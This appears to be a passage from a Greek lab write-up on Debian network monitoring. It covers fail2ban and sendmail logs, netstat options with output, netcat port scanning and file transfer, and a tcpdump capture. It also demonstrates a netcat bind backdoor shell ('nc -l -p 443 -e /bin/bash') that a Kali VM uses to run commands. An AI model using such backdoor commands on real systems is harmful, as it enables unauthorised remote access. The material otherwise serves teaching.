Nov 20 17:33:28 debian fail2ban-server[1737]: Unable to read the filter 'sendmail'
Nov 20 17:33:28 debian fail2ban-server[1737]: Errors in jail 'sendmail'. Skipping...
Nov 20 17:33:28 debian fail2ban-server[1737]: Server ready
Nov 20 17:33:28 debian sendmail[[1745]: 0AKFXSY7001745: from=Fail2ban, size=224, class=0, nrcpt=1,
Nov 20 17:33:28 debian sendmail[[1745]: 0AKFXSY7001745: to=giorgosbourl@gmail.com, delay=00:00:00,
Nov 20 17:33:49 debian sendmail[[1775]: from=Fail2ban, size=3193, class=0, nrcpt=1
Nov 20 17:33:49 debian sendmail[[1775]: 0AKGXNub001775: to=giorgosbourl@gmail.com, delay=00:00:00,
Nov 20 18:02:38 debian sendmail[[1953]: 0AKGKcLg001953: from=Fail2ban, size=3193, class=0, nrcpt=1
Nov 20 18:02:38 debian sendmail[[1953]: 0AKGKcLg001953: to=giorgosbourl@gmail.com, delay=00:00:00,
Lines 1-21/21 (END)]
```


4) Άλλες χρήσιμες εντολές για την ανάλυση εισερχόμενης/εξερχόμενης είναι η netstat και η netcat.

- netstat -a
Με αυτή την εντολή εμφανίζονται όλες οι ενεργές TCP συνδέσεις και αυτές που βρίσκονται σε κατάσταση listening και οι υπόλοιπες συνδέσεις όπως UDP και Unix.
- netstat -at
Παρόμοια με την προηγούμενη εντολή αλλά εμφανίζονται μόνο οι συνδέσεις για το TCP πρωτόκολλο.
- netstat -au
Εμφανίζονται οι συνδέσεις για το UDP πρωτόκολλο.
- netstat -l
Εμφανίζονται μόνο οι συνδέσεις που βρίσκονται σε κατάσταση listening.
- netstat -lt
Εμφανίζονται μόνο οι συνδέσεις που βρίσκονται σε κατάσταση listening για το πρωτόκολλο TCP.
- netstat -lu
Εμφανίζονται μόνο οι συνδέσεις που βρίσκονται σε κατάσταση listening για το πρωτόκολλο UDP.
- netstat -s
Εμφανίζονται λεπτομερώς οι συνδέσεις για τα πρωτόκολλα όπως Ip, Icmp, IcmpMsg, Tcp, Udp, UdpLite, TcpExt και IpExt.
- netstat -st
Εμφανίζονται λεπτομερώς οι συνδέσεις μόνο για τα πρωτόκολλα όπως IcmpMsg, Tcp, TcpExt και IpExt.
- netstat -su
Εμφανίζονται λεπτομερώς οι συνδέσεις μόνο για τα πρωτόκολλα όπως IcmpMsg, Udp, UdpLite και IpExt.
- netstat -tp
Εμφανίζονται μόνο οι ενεργές συνδέσεις του TCP πρωτοκόλλου.

- `netstat -ac 5 | grep tcp`

Εμφανίζονται οι συνδέσεις πρωτοκόλλου TCP που γίνονται συνεχώς listening μέσω της route cache γι' αυτό και εμφανίζονται πρωτόκολλα όπως ssh, smtp, submission και http.

- `netstat -r`

Εμφανίζεται το ip routing table του πυρήνα.

```
root@debian:/etc/fail2ban# netstat -r
Kernel IP routing table
Destination      Gateway          Genmask          Flags      MSS Window  irtt  Iface
default          192.168.1.1     0.0.0.0          UG          0  0           0  enp0s3
link-local       0.0.0.0         255.255.0.0      U           0  0           0  enp0s3
192.168.1.0     0.0.0.0         255.255.255.0    U           0  0           0  enp0s3
root@debian:/etc/fail2ban#
```

- `netstat -c`

Εμφανίζονται όλες οι listening συνδέσεις και ενημερώνεται συνεχώς η έξοδος.

- `netstat -ap | grep http`

Εμφανίζονται οι listening συνδέσεις http πρωτοκόλλου (όπως το apache2)

```
root@debian:/etc/fail2ban# netstat -ap | grep http
tcp6      0      0 [::]:http          [::]:*              LISTEN      498/apache2
root@debian:/etc/fail2ban#
```

2. Για στατιστικά χρήσης υπηρεσιών ssh και https η εντολή είναι:

`netstat -ap | grep -e '.*https' -e '.*sshd'`

```
root@debian:/home/george# netstat -ap | grep -e '.*https' -e '.*sshd'
tcp        0      0 0.0.0.0:ssh        0.0.0.0:*              LISTEN      496/sshd
tcp        0      0 192.168.1.119:58548 fra16s25-in-f3.1e:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:43332 fra15s18-in-f98.1:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:42508 62.75.23.143:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:38114 fra15s16-in-f10.1:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57438 62.75.10.14:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:34640 fra16s14-in-f1.1e:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:48242 fra15s29-in-f4.1e:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:59116 fra16s24-in-f2.1e:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:35022 fra15s18-in-f22.1:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:47134 server-52-85-158-:https TIME_WAIT    -
tcp        0      0 192.168.1.119:58710 fra24s02-in-f14.1:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57436 62.75.10.14:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52646 62.75.54.14:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57838 ams15s21-in-f131.:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:42506 62.75.23.143:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52848 fra15s16-in-f6.1e:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:49884 zrh04s05-in-f99.1:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:36282 fra15s24-in-f234.:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57342 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57106 ec2-100-20-6-188.:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52644 62.75.54.14:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:36248 fra16s12-in-f193.:https ESTABLISHED 1983/x-www-browser
tcp6       0      0 [::]:ssh          [::]:*              LISTEN      496/sshd
unix       3      [ ]               STREAM    CONNECTED  16198    496/sshd
root@debian:/home/george#
```

3. Με την εντολή: `netstat -tap | grep LISTEN` εμφανίζονται οι Tcp συνδέσεις που βρίσκονται σε κατάσταση listening και με την εντολή: `netstat -tap | grep ESTABLISHED` εμφανίζονται οι Tcp συνδέσεις που είναι established δηλαδή έχει σταλεί acknowledgment.

```
root@debian:/home/george# netstat -tap | grep LISTEN
tcp        0      0 0.0.0.0:ssh          0.0.0.0:*        LISTEN      496/sshd
tcp        0      0 localhost:smtp      0.0.0.0:*        LISTEN      1336/sendmail: MTA:
tcp        0      0 localhost:submission 0.0.0.0:*        LISTEN      1336/sendmail: MTA:
tcp6       0      0 [::]:http          [::]:*          LISTEN      498/apache2
tcp6       0      0 [::]:ssh           [::]:*          LISTEN      496/sshd
root@debian:/home/george#
root@debian:/home/george# netstat -tap | grep ESTABLISHED
tcp        0      0 192.168.1.119:57282 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57276 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57284 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52392 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52384 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57278 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57280 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52394 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52390 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:57286 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52386 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:52388 server-52-85-158-:https ESTABLISHED 1983/x-www-browser
tcp        0      0 192.168.1.119:51972 ec2-34-209-161-31:https ESTABLISHED 1983/x-www-browser
root@debian:/home/george#
```

5) Διαχείριση συνδέσεων και αποστολή UDP/TCP segments με την εντολή netcat.

1. Port scanning (ports 1-1000): `nc -v -n -z -w1 192.168.1.119 1-1000`

```
root@debian:/home/george# nc -v -n -z -w1 192.168.1.119 1-1000
(UNKNOWN) [192.168.1.119] 80 (http) open
(UNKNOWN) [192.168.1.119] 22 (ssh) open
root@debian:/home/george#
root@debian:/home/george#
```

2.

Με την εντολή: netcat -l -p 4444 (κάνουμε listen στο port 4444)

```
root@debian:/home/george# netcat -l -p 4444
#!/usr/bin/env python

### port_scan.py
### Avi Kak (kak@purdue.edu)
### March 11, 2016

## Usage example:
##
##         port_scan.py moonshine.ecn.purdue.edu 1 1024
## or
##
##         port_scan.py 128.46.144.123 1 1024

## This script determines if a port is open simply by the act of trying
## to create a socket for talking to the remote host through that port.

## Assuming that a firewall is not blocking a port, a port is open if
## and only if a server application is listening on it. Otherwise the
## port is closed.

## Note that the speed of a port scan may depend critically on the timeout
## parameter specified for the socket. Ordinarily, a target machine
## should immediately send back a RST packet for every closed port. But,
## as explained in Lecture 18, a firewall rule may prevent that from
## happening. Additionally, some older TCP implementations may not send
## back anything for a closed port. So if you do not set timeout for a
## socket, the socket constructor will use some default value for the
## timeout and that may cause the port scan to take what looks like an
## eternity.

## Also note that if you set the socket timeout to too small a value for a
## congested network, all the ports may appear to be closed while that is
## really not the case. I usually set it to 0.1 seconds for instructional
## purposes.

## Note again that a port is considered to be closed if there is no
## server application monitoring that port. Most of the common servers
## monitor ports that are below 1024. So, if you are port scanning for
## just fun (and not for profit), limiting your scans to ports below
## 1024 will provide you with quicker returns.

import sys, socket
import re
import os.path

if len(sys.argv) != 4:
```

Και στη συνέχεια για αποστολή από το kali VM το αρχείο port_scan.py που βρίσκεται στο Desktop με την εντολή: netcat 192.168.1.119 4444 < port_scan.py

Και εμφανίζεται το python αρχείο στο debian

```
root@kali:~/Desktop# netcat 192.168.1.119 4444 < port_scan.py

root@kali:~/Desktop#
root@kali:~/Desktop#
```

3.

Ανοίγουμε ένα backdoor shell στο debian με την εντολή: nc -l -p 443 -e /bin/bash και κάνουμε listen στο port 443.

```
root@debian:/home/george# nc -l -p 443 -e /bin/bash
root@debian:/home/george#
```

Στη συνέχεια από το kali VM εκτελούμε την εντολή: nc 192.168.1.119 443 για να συνδεθούμε στη συγκεκριμένη IP και στο port που γίνεται listen και εκτελούμε κάποιες εντολές όπως ls, whoami και who στο shell που έχουμε ανοίξει και τέλος βγαίνουμε με την εντολή exit.

```
root@kali:~/Desktop# nc 192.168.1.119 443

ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

whoami
root

who
george  tty7          2020-11-13 11:17 (:0)

exit
root@kali:~/Desktop#
root@kali:~/Desktop#
```


Μπορούμε να δούμε ποια πόρτα είναι ανοιχτή με την εντολή:

tcpdump -vnn -nn host 192.168.1.119

Τα αποτελέσματα της εντολής φαίνονται στην παρακάτω εικόνα, τα οποία προκύπτουν όταν συνδέεται ο επιτιθέμενος στο port 443 και αρχίζει να εκτελεί εντολές.

```
root@kali:~/Desktop# nc 192.168.1.119 443
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos

pwd
/home/george

exit
root@kali:~/Desktop#
```

```
root@kali:~/Desktop# tcpdump -vnn -nn host 192.168.1.119
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
09:57:32.212906 IP (tos 0x0, ttl 64, id 108, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [S], cksum 0x846c (incorrect -> 0x69e6), seq 1568965791, win 64240, o
ptions [mss 1460,sackOK,TS val 1807179892,ecn 0,nop,wscale 7], length 0
09:57:32.213384 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [S.], cksum 0xcef6 (correct), seq 3522644657, ack 1568965792, win 651
60, options [mss 1460,sackOK,TS val 584931264,ecn 1807179892,nop,wscale 7], length 0
09:57:32.213451 IP (tos 0x0, ttl 64, id 109, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [.], cksum 0x8464 (incorrect -> 0xfa54), seq 1, ack 1, win 502, optio
ns [nop,nop,TS val 1807179893,ecn 584931264], length 0
09:57:34.676761 IP (tos 0x0, ttl 64, id 110, offset 0, flags [DF], proto TCP (6), length 55)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [P.], cksum 0x8467 (incorrect -> 0x7a37), seq 1:4, ack 1, win 502, op
tions [nop,nop,TS val 1807182356,ecn 584931264], length 3
09:57:34.677209 IP (tos 0x0, ttl 64, id 53004, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [.], cksum 0xe70a (correct), seq 1, ack 4, win 510, options [nop,nop,
TS val 584933728,ecn 1807182356], length 0
09:57:34.678412 IP (tos 0x0, ttl 64, id 53005, offset 0, flags [DF], proto TCP (6), length 119)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [P.], cksum 0x0b33 (correct), seq 1:68, ack 4, win 510, options [nop,
nop,TS val 584933729,ecn 1807182356], length 67
09:57:34.678443 IP (tos 0x0, ttl 64, id 111, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [.], cksum 0x8464 (incorrect -> 0xe6cc), seq 4, ack 68, win 502, opti
ons [nop,nop,TS val 1807182358,ecn 584933729], length 0
09:57:35.213355 IP (tos 0x0, ttl 64, id 112, offset 0, flags [DF], proto TCP (6), length 53)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [P.], cksum 0x8465 (incorrect -> 0xdaac), seq 4:5, ack 68, win 502, o
ptions [nop,nop,TS val 1807182893,ecn 584933729], length 1
09:57:35.254542 IP (tos 0x0, ttl 64, id 53006, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [.], cksum 0xe26c (correct), seq 68, ack 5, win 510, options [nop,nop
,TS val 584934305,ecn 1807182893], length 0
09:57:39.684192 IP (tos 0x0, ttl 64, id 113, offset 0, flags [DF], proto TCP (6), length 56)
    192.168.1.118.44768 > 192.168.1.119.443: Flags [P.], cksum 0x8468 (incorrect -> 0xfc70), seq 5:9, ack 68, win 502, o
ptions [nop,nop,TS val 1807187363,ecn 584934305], length 4
09:57:39.684659 IP (tos 0x0, ttl 64, id 53007, offset 0, flags [DF], proto TCP (6), length 52)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [.], cksum 0xbfa4 (correct), seq 68, ack 9, win 510, options [nop,nop
,TS val 584938735,ecn 1807187363], length 0
09:57:39.684836 IP (tos 0x0, ttl 64, id 53008, offset 0, flags [DF], proto TCP (6), length 65)
    192.168.1.119.443 > 192.168.1.118.44768: Flags [P.], cksum 0x734d (correct), seq 68:81, ack 9, win 510, options [nop
,nop,TS val 584938735,ecn 1807187363], length 13
```